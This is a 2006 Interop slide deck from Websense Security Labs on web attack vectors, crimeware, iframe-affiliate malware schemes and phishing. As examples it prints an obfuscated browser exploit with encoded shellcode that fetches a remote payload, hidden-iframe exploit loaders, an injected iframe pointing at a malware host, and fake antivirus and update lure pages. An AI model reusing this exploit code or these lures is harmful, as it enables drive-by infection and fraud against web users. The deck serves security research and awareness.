



New Generation Web Attacks

**Interop, Las Vegas, 2006
Dan Hubbard
WebSense Security Labs**

Agenda

- Introduction
- Problem outline
- Protection Challenge
- High profile examples
- Summary
- Q & A

Introduction

- Websense Security Labs, security research division of Websense Inc.
- Externalized research starting Aug 2004.
- Scan more than 77 million sites per day for malicious code, Phishing, and other web exploits.
- Lead Crimeware Project as part of APWG.
- Thousands of deployed Honey clients, Honey pots, SPAM traps, and other research tools.
- Detect and classify thousands of malicious websites, Spyware, P.U.S., Trojan Horses, per week.
- Founded “crimeware report” as part of APWG and populate monthly stats for report and crimeware map.

What is the problem ?

- The web is becoming the number one attack vector on the Internet.
- Phishing and Crimeware are highest growth areas in.
- Trojan Horses are used to be covert and stealth and are far more sophisticated than worms of yesterday.
- By simply visiting a website your machine and potentially your network can be infected with malicious code.
- Firewalls, Anti-Virus, Patches, and Policy alone are not solving the problem alone.
- Targeted attacks are becoming more common and using the web is one of the main infection vectors, update, and collection mechanisms.

Why use the Web as an attack vector?

- Open at almost all companies (port 80 and 443).
- Most solutions today are not “content-aware”.
- Largest number of vulnerabilities on client.
- Largest number of vulnerabilities on servers.
- Graphical = better for deception.
- Inexpensive.
- Difficult to trace and easy to disguise.
- Email defenses have improved (cat is still chasing the mouse).

Aren't we protected enough?

- We have a Firewall.
- We have anti-virus.
- We think we have installed all the latest patches.
- We have a security awareness training program.

We have a firewall

- ALL → ANY → PORT 80 / 443 ALLOW
- Does not provide enough context.
- “port 80” is a big world.
- Would you do this with email?
- Do you have any laptops in the Enterprise?

We have anti-virus

- Encoding and obfuscation routines are dynamic and easy to modify and change on the fly.
- Signature-based systems have difficult time keeping up.
- Compliance on signature updates to the desktop is not simple.
- Not all attacks are exploits (social engineering)

Encoding / Obfuscation Example

```
for (i=1 ; i <=c ; i++){
document.writeln("<iframe width=1 height=1 border=0 frameborder=0 src='fillmem.htm'></iframe>")
}if( c == 8 ){
document.writeln("<iframe width=1 height=1 border=0 frameborder=0 src='2k.htm'></iframe>")
}if( c == 4 ){
document.writeln("<iframe width=1 height=1 border=0 frameborder=0 src='xp.htm'></iframe>")
}
}
```

```
for (t=1 ; t <=200; t++)
{ f = f + p }
s = unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320" +
"%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2" +
"%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B" +
"%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B" +
"%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A" +
"%u2E30%u7865%u0065%u0C33%u0364%u3040%u0C78%u408B" +
"%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40" +
"%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83" +
"%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8" +
"%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52" +
"%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF" +
"%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40" +
"%uFFFF%uFF52%uE8D0%uFFD7%uFFFF" +
"%u7468%u7074%u2F3A%u772F%u7777%u682E%u7365%u6C76%u6261%u6165%u2E6E%u6F63%u2F6I")
f = f + s
prompt(f, " ") }
// --></Script></head><body onload=_setTimeout("load()",1999)"></body></html>
```

We have the latest patches

- Vulnerabilities are being created, sold, and traded in the underground
- Several zero-days have been released in the last 3 months
- Available patches take a while to deploy
- WMF was being exploited for more than 3 weeks with more than 2500 sites using it before the patch was released. CreateText had a 2 week headstart.

We have an awareness security program

Download details: Explorer.exe bugfix 3435 - Microsoft Internet Explorer

Microsoft
Download Center

Search for a download:

Advanced Search

Download Center Home

Download Categories

- Games
- DirectX
- Internet
- Windows (Security & Updates)
- Windows Media
- Drivers
- Office and Home Applications
- Mobile Devices
- Macintosh & Other Platforms
- Server Applications
- System Management Tools
- Development Resources

Download Resources

- Download Center Help
- Related Download Sites
- Update Services
- Microsoft Download Notifications
- Worldwide Downloads

Windows Genuine Advantage updates and promotions for

Explorer.exe Security Bugfix 3435

Quick Info

- File Name: explorer-fix-3435.exe
- Version: 3435
- Date Published: 6/9/2005
- Language: English
- Download Size: ca. 80* KB
- Estimated Download Time: 20 sec. @ 56 K

*Download size depends on selected download components.

Change Language

English

Overview

Explorer.exe is the default shell used in all Win 32 platforms. Everybody's everytime Windows starts. That's why this bugfix is so important.

[Top of page](#)

System Requirements

- Supported Operating Systems: Windows 2000; Windows 98; Windows 95
- 486/66 MHz processor (Pentium processor recommended)

Windows Net:
32 MB of RAM minimum
Full install size: 8.7 MB

Windows 2000:
32 MB of RAM minimum
Full install size: 12.0 MB

Windows 98 Second Edition:
16 MB of RAM minimum
Full install size: 12.4 MB

Windows 98:
16 MB of RAM minimum

McAfee - Mozilla Firefox

http://www.mcafee.com/usa/?page=update

McAfee

Search: []

United States

Update Center

HOT UPDATE!

McAfee® Anti Kongo31.XRW Patch for Windows

McAfee® has developed a special patch which blocks the Kongo31.XRW Worm body mutation, fully deletes the virus from the system and makes future intrusions impossible. All users are advised to install the patch!

Products

- Services
- Support
- Downloads
- Security HQ
- Partners
- About Us

Solutions for:

- Home Users
- Small & Medium Business
- Enterprise
- Industry & Government

Buy Products
Upgrade Products
Register Products
Try Products
Contact Us

Global Sites:
Select Country/Region []
Go

[Site Map](#) | [Feedback Guide](#) | [Privacy Policy](#) | [Anti-Piracy Policy](#) | [McAfee Security Spotlight Newsletter](#)

© Copyright 2005 Networks Associates Technology, Inc. All Rights Reserved

Done

Symantec

Security Check

O Sistema da Symantec Security Check testou as falhas em seu sistema, e encontrou 224 falhas perigosas. Avisamos que as atualizações para as falhas já estão disponíveis para download.

Segurança Verificando...

Seu computador está infectado com o vírus **Worm@bda.265** que ataca não só o seu computador como o de todos da sua lista de emails, proteja-se já, é fácil basta clicar e fazer o download.

START

INTEROP
MAKES YOU
SMART

WEBSense
Security Labs

Crimeware technical trends

- Exploit code being used increasingly in OS and browsers as zero-days are being used to install malicious code for crimeware.
- Collaboration amongst authors and/or toolkit sharing.
- Exploits being used on server side to exploit web sites and end-user P.C.'s (BOTs being used also).
- Deception techniques rising in sophistication, also using automation to post on BLOG's, message boards, and on free hosting sites.
- Code becoming more sophisticated. Using anti-VM detection, exploit checking, rootkits, and redirection.
- Targeting multiple entities in one attack (e.g. more than hundreds of banks targeted with one Trojan).
- Using redundancy on server-side (eg: DDNS, list updates, proxies, etc).



HOME

TERMS

FAQ

SIGN UP

ABOUT US

RATES

REPLAY



Join us and start making money today!



LAST NEWS

14/11/05:

CGPAY payments:

From the 14th of November we can pay with help of CGPAY

10/10/05:

New tariffs:

From the 10th of Octobre the new system of tariffing IS STARTED. From this moment we pay different \$\$\$ for different countries!

07/02/05:

New system & design:

At last here are new system and design! From this moment nobody has a chance to spy! You can change any settings! It's easy now! And soon there will be more surprises!

**JOIN US AND START
MAKING MONEY TODAY!**

**DO YOU WANT TO EARN
MUCH MONEY ON THE TRAFFIC?**

SIGNUP TODAY!

**WE HOPE TO HAVE A LONG-TERM
COOPERATION WITH YOU!**

iframeCash.biz association is:

- Everyone is welcome to join the iframeCASH.biz partnership program
- Earn \$0.08 (\$80/1000 installs) and more for each unique iframe installs
- You only put the short one line iframe code on your page(s) and start to MAKE MONEY
- WITHOUT any Active-X console or any pop-ups...It means that you will not lose your unique visitors with our iframe!
- The best percentage of installs (10-40% from the total traff or it's \$4-\$15 FOR 1000 UNIQUE VISITORS)
- DAILY updated soft
- We have 3 reliable servers with excellent speed
- Payments every Tuesday
- Real-time statistic of your work
- Payment via: Fethard, Webmoney, Wire, E-gold and Western Union (WU)
- More than 300 webmasters work with us
- Friendly support service
- Everybody who works with us is satisfied.

IFRAME Cash

- Use affiliates to get code onto web pages.
- Also exploit web servers .
- Insert IFRAME to redirect traffic to them.
- Eg: `<iframe src="http://traffbest.biz/dl/adv446.php" width=1 height=1></iframe>`.
- Use variety of exploits (including WMF, JavaByte, etc).
- More than 2000 sites on the net today have their code embedded.
- Download and install PUS, Spyware, and sophisticated Crimeware. Also send Viagra and other SPAMS.

iframeCASH.biz - Mozilla Firefox

File Edit View Go Bookmarks Tools Help

http://iframecash.biz/stats/setup.php

Proxy: tor Apply Edit Remove Add Status: Using tor Options

EXE last updated 3 hours ago

iframeCash.biz
advert zone

[NEWS](#) [STATS](#) [SETUP](#) [RATES](#)

Setup

Login	<input type="text"/>
Password	<input type="password"/>
E-mail	<input type="text"/>
ICQ	<input type="text"/>
Payment to (If you choose PayPal payments, we get 10% commissions)	<input type="radio"/> Fethard <input type="radio"/> Webmoney <input type="radio"/> E-gold <input checked="" type="radio"/> WU <input type="radio"/> Wire <input type="radio"/> Paypal
Payment account number	<input type="text"/>
BackURL	<input type="text"/>
<input type="button" value="Send"/>	

Done 19 1337 @iteadvisor

IFRAME Cash

- Among the Potentially Unwanted Software dropped and ran they are also dropping and running Rootkit Crimeware that:
 - Drops and runs
 - **ibm00001.exe**
 - **ibm00001.dll**
 - **ibm00002.dll**
 - Ibm0001.exe loads ibm0001.dll and calls main export function.
 - Ibm0002.dll gets injected inside IExplorer process.
 - Trojan gets file from server with monitoring details.
 - Upon logon replaces screen requesting logon details.
 - Changes almost daily.

Web Attacker

- Toolkit sold on the Internet (in Russia).
- Costs between \$15 - \$30.
- Checks for multiple browser exploits via user-agent.
- Greater than 90% are on Exploited machines.
- Installs mostly Trojan Horse Keyloggers.
- Close to 1000 sites with this code today.

Web Attacker Stats Portal

Overall statistics

Total hosts	MS03-11	MS04-013	MS05-020	0-Day	MS06-006
9705	423	15	28	661	21
100.00 %	4.36 %	0.15 %	0.29 %	6.81 %	0.22 %

Total Exploit efficiency is 11.83 %

Web Attacker Stats Portal

MSIE 5.5	38	31	0	0	0	0
MSIE 5.5 SP1	6	3	1	0	0	0
MSIE 5.5 SP2	13	5	0	0	0	0
MSIE 6.0	305	79	2	13	0	0
MSIE 6.0 SP1	1310	223	11	14	0	0
MSIE 6.0 SP2	5797	60	0	0	661	0
MSIE 6.0 SP4	1	0	0	1	0	0

Lest we forget Phishing...trends

- Spear-Phishing : Targeted attacks.
- Puddle Phishing: Smaller targets.
- Non-financial / ecommerce related attacks (hotels, casino's, travel industry).
- More efficient in collecting data.
- Kits becoming more popular (hosting multiple brands on one server).
- Redundancy prevalent with proxy's, DDNS, fast changing DNS records.
- More efficient in infecting servers for hosting data.

Summary

- The Web is the number one attack vector on the Internet
- Malicious code is designed to be covert and stealth
- Hacking for fortune is common and professionals are at work.
- Phishing is not simply about a lure and a website.
- Phishing and Fraud is rising in astronomical numbers (this is not an over-hyped threat).
- Crimeware is the evolution of the phishing.
- Attacks are growing in numbers and sophistication.
- Defenses, penalties, arrests, are not keeping up with attacks.

Questions and Answers

To subscribe to free alerts on Phishing and Crimeware:

<http://www.websensesecuritylabs.com/subscribe>